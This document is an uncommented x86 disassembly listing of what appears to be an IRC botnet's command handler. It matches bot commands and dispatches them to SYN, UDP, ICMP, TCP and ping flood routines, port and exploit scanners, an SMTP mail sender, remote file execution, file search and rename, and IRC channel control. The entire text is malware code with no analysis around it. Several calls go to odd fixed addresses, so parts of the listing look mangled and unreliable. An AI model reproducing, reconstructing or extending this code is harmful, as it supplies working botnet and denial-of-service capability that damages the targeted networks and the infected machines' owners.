[ebp+var_C58] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_40600E loc_405FF8: ; CODE XREF: sub_401ACD+453Fj cmp [ebp+var_BCC], ebx jnz loc_40828B push 32h nop call near ptr 2670ECEh jmp short loc_405FF8 ; --------------------------------------------------------------------------- loc_40600E: ; CODE XREF: sub_401ACD+4529j nop call near ptr 2680930h push eax push offset dword_42AECC jmp loc_4049EB ; --------------------------------------------------------------------------- loc_40601F: ; CODE XREF: sub_401ACD+43E4j push edi push offset aNet ; "net" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40626F cmp dword_4CB074, ebx jz short loc_40604E cmp dword_4CB09C, ebx jz short loc_40604E push offset unk_42AE90 jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_40604E: ; CODE XREF: sub_401ACD+456Dj ; sub_401ACD+4575j cmp [ebp+var_C], ebx jz loc_406CDE mov edi, [ebp+esi+var_88] mov [ebp+arg_0], ebx cmp edi, ebx jz short loc_406073 push edi push [ebp+var_C] call sub_41B900 pop ecx mov [ebp+arg_0], eax pop ecx loc_406073: ; CODE XREF: sub_401ACD+4596j push [ebp+arg_10] push offset aStart ; "start" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_4060C0 cmp edi, ebx jz short loc_406094 push [ebp+arg_0] push 3 jmp loc_406126 ; --------------------------------------------------------------------------- loc_406094: ; CODE XREF: sub_401ACD+45BBj push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_41895B add esp, 0Ch test eax, eax jz short loc_4060B6 push offset unk_42AE64 jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_4060B6: ; CODE XREF: sub_401ACD+45DDj push offset unk_42AE44 jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_4060C0: ; CODE XREF: sub_401ACD+45B7j push [ebp+arg_10] push offset aStop ; "stop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_4060DA push [ebp+arg_0] push 4 jmp short loc_406126 ; --------------------------------------------------------------------------- loc_4060DA: ; CODE XREF: sub_401ACD+4604j push [ebp+arg_10] push offset aPause ; "pause" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_4060F4 push [ebp+arg_0] push 5 jmp short loc_406126 ; --------------------------------------------------------------------------- loc_4060F4: ; CODE XREF: sub_401ACD+461Ej push [ebp+arg_10] push offset aContinue ; "continue" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_40610E push [ebp+arg_0] push 6 jmp short loc_406126 ; --------------------------------------------------------------------------- loc_40610E: ; CODE XREF: sub_401ACD+4638j push [ebp+arg_10] push offset aDelete ; "delete" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_406138 push [ebp+arg_0] push 1 loc_406126: ; CODE XREF: sub_401ACD+45C2j ; sub_401ACD+460Bj ... call sub_4186C1 pop ecx pop ecx loc_40612D: ; CODE XREF: sub_401ACD+46A1j ; sub_401ACD+4729j ... push eax push offset aS_1 ; "%s" jmp loc_406CCF ; --------------------------------------------------------------------------- loc_406138: ; CODE XREF: sub_401ACD+4652j push [ebp+arg_10] push offset aShare ; "share" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_40619D cmp edi, ebx jz short loc_406170 cmp [ebp+var_8FC], bl jz short loc_40615D push ebx push edi push 1 jmp short loc_406166 ; --------------------------------------------------------------------------- loc_40615D: ; CODE XREF: sub_401ACD+4688j push [ebp+esi+var_84] push edi push ebx loc_406166: ; CODE XREF: sub_401ACD+468Ej call sub_418A98 add esp, 0Ch jmp short loc_40612D ; --------------------------------------------------------------------------- loc_406170: ; CODE XREF: sub_401ACD+4680j push ebx push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_418C8E add esp, 10h test eax, eax jz short loc_406193 push offset unk_42ADFC jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_406193: ; CODE XREF: sub_401ACD+46BAj push offset unk_42ADDC jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_40619D: ; CODE XREF: sub_401ACD+467Cj push [ebp+arg_10] push offset aUser ; "user" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_406228 cmp edi, ebx jz short loc_4061FB cmp [ebp+var_8FC], bl jz short loc_4061CE push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] push ebx push edi push 1 jmp short loc_4061EE ; --------------------------------------------------------------------------- loc_4061CE: ; CODE XREF: sub_401ACD+46EDj push [ebp+var_4] mov esi, [ebp+esi+var_84] cmp esi, ebx push [ebp+var_88] push [ebp+arg_4] jz short loc_4061EA push esi push edi push ebx jmp short loc_4061EE ; --------------------------------------------------------------------------- loc_4061EA: ; CODE XREF: sub_401ACD+4716j push ebx push edi push 2 loc_4061EE: ; CODE XREF: sub_401ACD+46FFj ; sub_401ACD+471Bj call sub_418DAF add esp, 18h jmp loc_40612D ; --------------------------------------------------------------------------- loc_4061FB: ; CODE XREF: sub_401ACD+46E5j push ebx push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_4192DF add esp, 10h test eax, eax jz short loc_40621E push offset unk_42ADB4 jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_40621E: ; CODE XREF: sub_401ACD+4745j push offset unk_42AD94 jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_406228: ; CODE XREF: sub_401ACD+46E1j push [ebp+arg_10] push offset aSend ; "send" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_406265 cmp edi, ebx jz short loc_40625B push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] push [ebp+arg_0] call sub_419593 add esp, 10h jmp loc_40612D ; --------------------------------------------------------------------------- loc_40625B: ; CODE XREF: sub_401ACD+4770j push offset unk_42AD68 jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_406265: ; CODE XREF: sub_401ACD+476Cj push offset unk_42AD4C jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_40626F: ; CODE XREF: sub_401ACD+4561j push edi push offset aCapture ; "capture" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408DFD push edi push offset aCap ; "cap" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408DFD push edi push offset aGethost ; "gethost" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408D09 push edi push offset aGh ; "gh" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408D09 loc_4062C3: ; CODE XREF: sub_401ACD+3CBDj ; sub_401ACD+3CECj ... mov edi, [ebp+esi+var_88] cmp edi, ebx mov [ebp+arg_1C], edi jz loc_401E94 push [ebp+arg_8] push offset aKilllog ; "killlog" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408CEF push [ebp+arg_8] push offset aKl ; "kl" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408CEF push [ebp+arg_8] push offset aAddalias ; "addalias" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408CAC push [ebp+arg_8] push offset aAa ; "aa" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408CAC push [ebp+arg_8] push offset aPrivmsg_0 ; "privmsg" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408C57 push [ebp+arg_8] push offset dword_42B530 call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408C57 push [ebp+arg_8] push offset aAction ; "action" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408BEA push [ebp+arg_8] push offset aA ; "a" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408BEA push [ebp+arg_8] push offset aCycle ; "cycle" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408B86 push [ebp+arg_8] push offset aCy ; "cy" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408B86 push [ebp+arg_8] push offset aMode ; "mode" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408B4A push [ebp+arg_8] push offset aM ; "m" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408B4A push [ebp+arg_8] push offset aC_raw ; "c_raw" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408ADB push [ebp+arg_8] push offset aC_r ; "c_r" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408ADB push [ebp+arg_8] push offset aC_mode ; "c_mode" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408A55 push [ebp+arg_8] push offset aC_m ; "c_m" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408A55 push [ebp+arg_8] push offset aC_nick ; "c_nick" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4089E5 push [ebp+arg_8] push offset aC_n ; "c_n" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4089E5 push [ebp+arg_8] push offset aC_join ; "c_join" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4089BF push [ebp+arg_8] push offset aC_j ; "c_j" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4089BF push [ebp+arg_8] push offset aC_part ; "c_part" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40895B push [ebp+arg_8] push offset aC_p ; "c_p" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40895B push [ebp+arg_8] push offset aTarga3 ; "targa3" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408886 push [ebp+arg_8] push offset aT3 ; "t3" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408886 push [ebp+arg_8] push offset aTsunami ; "tsunami" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40878B push [ebp+arg_8] push offset aTsn ; "tsn" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40878B push [ebp+arg_8] push offset aRepeat ; "repeat" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408687 push [ebp+arg_8] push offset aRp ; "rp" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408687 push [ebp+arg_8] push offset aDelay ; "delay" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4085E8 push [ebp+arg_8] push offset aDe ; "de" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4085E8 push [ebp+arg_8] push offset aJpDe100 ; "jp]de100" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408457 push [ebp+arg_8] push offset aJp10 ; "jp]10" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408457 push [ebp+arg_8] push offset aExecute ; "execute" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4083C4 push [ebp+arg_8] push offset aE ; "e" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4083C4 push [ebp+arg_8] push offset aFindfile ; "findfile" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4082B5 push [ebp+arg_8] push offset aFf ; "ff" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4082B5 push [ebp+arg_8] push offset aRename ; "rename" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40823E push [ebp+arg_8] push offset aMv ; "mv" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40823E push [ebp+arg_8] push offset aIcmpflood ; "icmpflood" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408141 push [ebp+arg_8] push offset aIcmp ; "icmp" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408141 mov eax, [ebp+esi+var_84] cmp eax, ebx mov [ebp+arg_0], eax jz loc_401E94 push [ebp+arg_8] push offset aClone_0 ; "clone" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408059 push [ebp+arg_8] push offset aC ; "c" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408059 push [ebp+arg_8] push offset aDdos_syn ; "ddos.syn" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407F60 push [ebp+arg_8] push offset aDdos_ack ; "ddos.ack" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407F60 push [ebp+arg_8] push offset aDdos_random ; "ddos.random" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407F60 push [ebp+arg_8] push offset aWisdom_udp ; "wisdom.udp" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_4067D6 push 7Fh lea eax, [ebp+var_327C] pop esi push esi push [ebp+arg_10] push eax call sub_41B5F0 push esi lea eax, [ebp+var_31FC] push edi push eax call sub_41B5F0 push esi lea eax, [ebp+var_317C] push [ebp+arg_0] push eax call sub_41B5F0 push esi lea eax, [ebp+var_30FC] push [ebp+var_88] push eax call sub_41B5F0 mov eax, [ebp+var_8] mov edi, [ebp+var_4] mov esi, [ebp+arg_4] mov [ebp+var_3074], eax push ebx lea eax, [ebp+var_2C4] push 13h push eax mov [ebp+var_3078], edi mov [ebp+var_3280], esi call sub_40B0F6 add esp, 3Ch mov [ebp+var_307C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3280] push ebx push eax push offset word_4146CE push ebx push ebx nop call near ptr 2680000h mov ecx, [ebp+var_307C] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_4067C5 loc_4067AF: ; CODE XREF: sub_401ACD+4CF6j cmp [ebp+var_3070], ebx jnz loc_403DA0 push 32h nop call near ptr 2670ECEh jmp short loc_4067AF ; --------------------------------------------------------------------------- loc_4067C5: ; CODE XREF: sub_401ACD+4CE0j nop call near ptr 2680930h push eax push offset unk_42ABBC jmp loc_403D91 ; --------------------------------------------------------------------------- loc_4067D6: ; CODE XREF: sub_401ACD+4C36j push [ebp+arg_8] push offset aSynflood ; "synflood" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407E78 push [ebp+arg_8] push offset aSyn ; "syn" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407E78 push [ebp+arg_8] push offset aSkysyn ; "skysyn" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_406903 push 7Fh lea eax, [ebp+var_36A4] pop esi push esi push [ebp+arg_10] push eax call sub_41B5F0 push esi lea eax, [ebp+var_3624] push edi push eax call sub_41B5F0 push esi lea eax, [ebp+var_35A4] push [ebp+arg_0] push eax call sub_41B5F0 push esi lea eax, [ebp+var_3524] push [ebp+var_88] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 30h mov esi, [ebp+arg_4] mov [ebp+var_34A0], eax push [ebp+arg_0] mov eax, [ebp+var_8] mov [ebp+var_349C], eax lea eax, [ebp+var_2C4] push edi mov [ebp+var_36A8], esi push [ebp+arg_10] push offset dword_42AB74 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 10h push eax call sub_40B0F6 add esp, 20h mov [ebp+var_34A4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_36A8] push ebx push eax push offset word_413626 push ebx push ebx call near ptr 2680000h nop mov ecx, [ebp+var_34A4] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_4068F2 loc_4068DC: ; CODE XREF: sub_401ACD+4E23j cmp [ebp+var_3498], ebx jnz loc_407278 push 32h nop call near ptr 2670ECEh jmp short loc_4068DC ; --------------------------------------------------------------------------- loc_4068F2: ; CODE XREF: sub_401ACD+4E0Dj nop call near ptr 2680930h push eax push offset dword_42AB38 jmp loc_407269 ; --------------------------------------------------------------------------- loc_406903: ; CODE XREF: sub_401ACD+4D48j push [ebp+arg_8] push offset aPhatwonk ; "phatwonk" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407D90 push [ebp+arg_8] push offset aWonk ; "wonk" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407D90 push [ebp+arg_8] push offset aJpldg10 ; "jpldg10" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407C52 push [ebp+arg_8] push offset aJpl10 ; "jpl10" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407C52 push [ebp+arg_8] push offset aRedirect ; "redirect" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407B55 push [ebp+arg_8] push offset aRd ; "rd" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407B55 push [ebp+arg_8] push offset aScan ; "scan" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407A62 push [ebp+arg_8] push offset aSc ; "sc" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407A62 push [ebp+arg_8] push offset aC_privmsg ; "c_privmsg" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40795D push [ebp+arg_8] push offset aC_pm ; "c_pm" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40795D push [ebp+arg_8] push offset aC_action ; "c_action" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407865 push [ebp+arg_8] push offset aC_a ; "c_a" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407865 mov eax, [ebp+esi+var_80] cmp eax, ebx mov [ebp+arg_18], eax jz loc_401E94 push [ebp+arg_8] push offset aPortscan ; "portscan" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40775F push [ebp+arg_8] push offset aPsc ; "psc" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40775F push [ebp+arg_8] push offset aAdvscan ; "advscan" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407298 push [ebp+arg_8] push offset aAsc ; "asc" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407298 push [ebp+arg_8] push offset aUdpflood ; "udpflood" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40714F push [ebp+arg_8] push offset aUdp ; "udp" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40714F push [ebp+arg_8] push offset aU ; "u" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40714F push [ebp+arg_8] push offset aNetsend ; "netsend" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407041 push [ebp+arg_8] push offset aNs ; "ns" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407041 push [ebp+arg_8] push offset aPingflood ; "pingflood" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_406F17 push [ebp+arg_8] push offset aPing_0 ; "ping" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_406F17 push [ebp+arg_8] push offset aP ; "p" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_406F17 push [ebp+arg_8] push offset aTcpflood ; "tcpflood" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_406D6E push [ebp+arg_8] push offset aTcp ; "tcp" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_406D6E push [ebp+arg_8] push offset aEmail ; "email" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_406D16 push [ebp+arg_10] lea eax, [ebp+var_47EC] push eax call sub_41BEB0 push edi call sub_41B779 push [ebp+arg_0] mov [ebp+arg_10], eax lea eax, [ebp+var_4188] push eax call sub_41BEB0 push [ebp+arg_18] lea eax, [ebp+var_4588] push eax call sub_41BEB0 push offset asc_42CA60 ; " " push offset dword_42B52C push [ebp+esi+var_7C] call sub_417EEE push eax lea eax, [ebp+var_4288] push eax call sub_41BEB0 add esp, 30h lea eax, [ebp+var_5588] push eax push 101h call dword_4CAF14 lea eax, [ebp+var_47EC] push eax call dword_4CB028 push 6 push 1 push 2 mov edi, eax call dword_4CB024 push [ebp+arg_10] mov esi, eax mov [ebp+var_31C], 2 mov eax, [edi+0Ch] mov eax, [eax] mov eax, [eax] mov [ebp+var_318], eax call dword_4CAFA4 mov [ebp+var_31A], ax lea eax, [ebp+var_4288] push eax lea eax, [ebp+var_4188] push eax lea eax, [ebp+var_4288] push eax lea eax, [ebp+var_4588] push eax lea eax, [ebp+var_4188] push eax lea eax, [ebp+var_5988] push offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "... push eax call sub_41B886 add esp, 1Ch lea eax, [ebp+var_31C] push 10h push eax push esi call dword_4CAF4C mov edi, 100h push ebx lea eax, [ebp+var_4088] push edi push eax push esi call dword_4CAFBC lea eax, [ebp+var_4088] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_5988] push eax push esi call dword_4CAFF4 push ebx lea eax, [ebp+var_4088] push edi push eax push esi call dword_4CAFBC push esi call dword_4CB03C call dword_4CAEFC lea eax, [ebp+var_4588] push eax push offset unk_42A9FC loc_406CCF: ; CODE XREF: sub_401ACD+2E82j ; sub_401ACD+4666j ... lea eax, [ebp+var_2C4] push eax call sub_41B886 loc_406CDB: ; CODE XREF: sub_401ACD+248Bj add esp, 0Ch loc_406CDE: ; CODE XREF: sub_401ACD+4584j ; sub_401ACD+6653j ... cmp [ebp+var_8], ebx jnz short loc_406CFF push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_406CFF: ; CODE XREF: sub_401ACD+29B2j ; sub_401ACD+2A05j ... mov esi, [ebp+arg_24] loc_406D02: ; CODE XREF: sub_401ACD+68F2j ; sub_401ACD+78E2j ... lea eax, [ebp+var_2C4] push eax call sub_4151AC pop ecx mov eax, esi jmp loc_401E97 ; --------------------------------------------------------------------------- loc_406D16: ; CODE XREF: sub_401ACD+50ACj push [ebp+arg_8] push offset aHttpcon ; "httpcon" call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_406D40 push [ebp+arg_8] push offset aHcon ; "hcon" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_4072E8 loc_406D40: ; CODE XREF: sub_401ACD+525Aj push [ebp+esi+var_7C] push [ebp+arg_18] push [ebp+arg_0] push edi call sub_41B779 pop ecx push eax push [ebp+arg_10] push [ebp+var_8] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_4100DB jmp loc_4040AA ; --------------------------------------------------------------------------- loc_406D6E: ; CODE XREF: sub_401ACD+507Ej ; sub_401ACD+5095j push [ebp+arg_10] mov esi, 80h lea eax, [ebp+var_1354] push esi push eax call sub_41B980 lea eax, [ebp+var_1354] push eax push offset aSyn ; "syn" call sub_41C070 add esp, 14h test eax, eax jz short loc_406DD3 lea eax, [ebp+var_1354] push eax push offset aAck ; "ack" call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_406DD3 lea eax, [ebp+var_1354] push eax push offset aRandom_0 ; "random" call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_406DD3 push offset unk_42A9B4 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_406DD3: ; CODE XREF: sub_401ACD+52CCj ; sub_401ACD+52E3j ... push [ebp+arg_18] call sub_41B779 cmp eax, ebx pop ecx mov [ebp+var_124C], eax jle loc_406EFF push [ebp+arg_10] lea eax, [ebp+var_1354] push esi push eax call sub_41B980 add esp, 0Ch lea eax, [ebp+var_13D4] push edi push esi push eax call sub_41B980 push [ebp+arg_0] call sub_41B779 mov [ebp+var_1250], eax add esp, 10h xor eax, eax cmp [ebp+var_8EE], bl push [ebp+var_88] setnz al mov [ebp+var_1248], eax mov eax, [ebp+arg_4] mov [ebp+var_13D8], eax lea eax, [ebp+var_12D4] push esi push eax call sub_41B980 mov eax, [ebp+var_4] add esp, 0Ch cmp [ebp+var_1248], ebx mov [ebp+var_1244], eax mov eax, [ebp+var_8] mov [ebp+var_1240], eax mov eax, offset aSpoofed ; "Spoofed" jnz short loc_406E70 mov eax, offset aNormal ; "Normal" loc_406E70: ; CODE XREF: sub_401ACD+539Cj push [ebp+arg_18] push [ebp+arg_0] push edi push [ebp+arg_10] push eax push offset unk_42A970 lea eax, [ebp+var_2C4] push 200h push eax call sub_41B980 push ebx lea eax, [ebp+var_2C4] push 14h push eax call sub_40B0F6 add esp, 2Ch mov [ebp+var_1254], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_13D8] push ebx push eax push offset byte_413E35 push ebx push ebx call near ptr 2680000h nop mov ecx, [ebp+var_1254] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_406EEE loc_406ED8: ; CODE XREF: sub_401ACD+541Fj cmp [ebp+var_123C], ebx jnz loc_40828B push 32h call near ptr 2670ECEh nop jmp short loc_406ED8 ; --------------------------------------------------------------------------- loc_406EEE: ; CODE XREF: sub_401ACD+5409j nop call near ptr 2680930h push eax push offset unk_42A938 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_406EFF: ; CODE XREF: sub_401ACD+5317j push offset unk_42A900 loc_406F04: ; CODE XREF: sub_401ACD+2018j ; sub_401ACD+202Ej ... lea eax, [ebp+var_2C4] push eax call sub_41B886 pop ecx pop ecx jmp loc_40828B ; --------------------------------------------------------------------------- loc_406F17: ; CODE XREF: sub_401ACD+5039j ; sub_401ACD+5050j ... cmp dword_4CB094, ebx jnz loc_407026 mov eax, [ebp+var_8] push 7Fh push [ebp+arg_10] mov [ebp+var_FF4], eax mov eax, [ebp+var_4] mov [ebp+var_FF8], eax lea eax, [ebp+var_108C] push eax call sub_41B5F0 push edi call sub_41B779 push [ebp+arg_0] mov [ebp+var_100C], eax call sub_41B779 push [ebp+arg_18] mov [ebp+var_1008], eax call sub_41B779 push 7Fh mov [ebp+var_1004], eax push [ebp+var_88] lea eax, [ebp+var_110C] push eax call sub_41B5F0 mov eax, [ebp+arg_4] add esp, 24h mov [ebp+var_1110], eax lea eax, [ebp+var_108C] push [ebp+var_1004] push [ebp+var_1008] push eax lea eax, [ebp+var_2C4] push [ebp+var_100C] push offset unk_42A8B8 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 16h push eax call sub_40B0F6 add esp, 24h mov [ebp+var_FFC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1110] push ebx push eax push offset dword_413284 push ebx push ebx nop call near ptr 2680000h mov ecx, [ebp+var_FFC] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_407015 loc_406FFF: ; CODE XREF: sub_401ACD+5546j cmp [ebp+var_FF0], ebx jnz loc_40828B push 32h call near ptr 2670ECEh nop jmp short loc_406FFF ; --------------------------------------------------------------------------- loc_407015: ; CODE XREF: sub_401ACD+5530j nop call near ptr 2680930h push eax push offset unk_42A880 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_407026: ; CODE XREF: sub_401ACD+5450j push 1FFh lea eax, [ebp+var_2C4] push offset aIcmp_dllNotAva ; "ICMP.dll not available" push eax call sub_41B5F0 jmp loc_408288 ; --------------------------------------------------------------------------- loc_407041: ; CODE XREF: sub_401ACD+500Bj ; sub_401ACD+5022j push edi lea eax, [ebp+var_2C4] push [ebp+arg_10] push [ebp+arg_0] push offset unk_42A82C push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 push [ebp+arg_0] call sub_41AFE0 mov edx, eax push edi mov edi, edx call sub_41AFE0 push [ebp+arg_10] add edi, eax call sub_41AFE0 push [ebp+arg_8] add edi, eax call sub_41AFE0 add eax, [ebp+var_C] push [ebp+arg_18] lea eax, [eax+edi+7] push eax call sub_41B900 add esp, 40h mov [ebp+arg_C], eax push [ebp+arg_0] call sub_41B779 mov edi, [ebp+arg_1C] cmp eax, ebx pop ecx mov [ebp+arg_14], eax mov [ebp+arg_20], ebx jle short loc_40713B loc_4070C4: ; CODE XREF: sub_401ACD+561Bj push [ebp+arg_C] push edi push [ebp+arg_10] call sub_4185A4 add esp, 0Ch cmp eax, 1 mov [ebp+arg_1C], eax jz short loc_4070EC cmp eax, ebx jnz short loc_40710B inc [ebp+arg_20] mov eax, [ebp+arg_20] cmp eax, [ebp+arg_14] jl short loc_4070C4 jmp short loc_407144 ; --------------------------------------------------------------------------- loc_4070EC: ; CODE XREF: sub_401ACD+560Cj push ebx push [ebp+var_4] push offset unk_42A7F4 loc_4070F5: ; CODE XREF: sub_401ACD+5680j push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h jmp loc_4072E8 ; --------------------------------------------------------------------------- loc_40710B: ; CODE XREF: sub_401ACD+5610j push [ebp+arg_1C] lea eax, [ebp+var_2C4] push offset unk_42A7C0 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 20h loc_40713B: ; CODE XREF: sub_401ACD+55F5j cmp [ebp+arg_1C], ebx jnz loc_4072E8 loc_407144: ; CODE XREF: sub_401ACD+561Dj push ebx push [ebp+var_4] push offset unk_42A78C jmp short loc_4070F5 ; --------------------------------------------------------------------------- loc_40714F: ; CODE XREF: sub_401ACD+4FC6j ; sub_401ACD+4FDDj ... mov eax, [ebp+var_8] push 7Fh push [ebp+arg_10] mov [ebp+var_C64], eax mov eax, [ebp+var_4] mov [ebp+var_C68], eax lea eax, [ebp+var_CFC] push eax call sub_41B5F0 push edi call sub_41B779 push [ebp+arg_0] mov [ebp+var_C7C], eax call sub_41B779 push [ebp+arg_18] mov [ebp+var_C78], eax call sub_41B779 mov esi, [ebp+esi+var_7C] add esp, 18h cmp esi, ebx mov [ebp+var_C74], eax jz short loc_4071B4 push esi call sub_41B779 pop ecx mov [ebp+var_C70], eax jmp short loc_4071BA ; --------------------------------------------------------------------------- loc_4071B4: ; CODE XREF: sub_401ACD+56D6j mov [ebp+var_C70], ebx loc_4071BA: ; CODE XREF: sub_401ACD+56E5j push 7Fh lea eax, [ebp+var_D7C] push [ebp+var_88] push eax call sub_41B5F0 add esp, 0Ch mov esi, [ebp+arg_4] lea eax, [ebp+var_CFC] mov [ebp+var_D80], esi push [ebp+var_C74] push [ebp+var_C78] push eax lea eax, [ebp+var_2C4] push [ebp+var_C7C] push offset unk_42A744 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 17h push eax call sub_40B0F6 add esp, 24h mov [ebp+var_C6C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_D80] push ebx push eax push offset dword_413410 push ebx push ebx nop call near ptr 2680000h mov ecx, [ebp+var_C6C] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_40725D loc_40724B: ; CODE XREF: sub_401ACD+578Ej cmp [ebp+var_C60], ebx jnz short loc_407278 push 32h nop call near ptr 2670ECEh jmp short loc_40724B ; --------------------------------------------------------------------------- 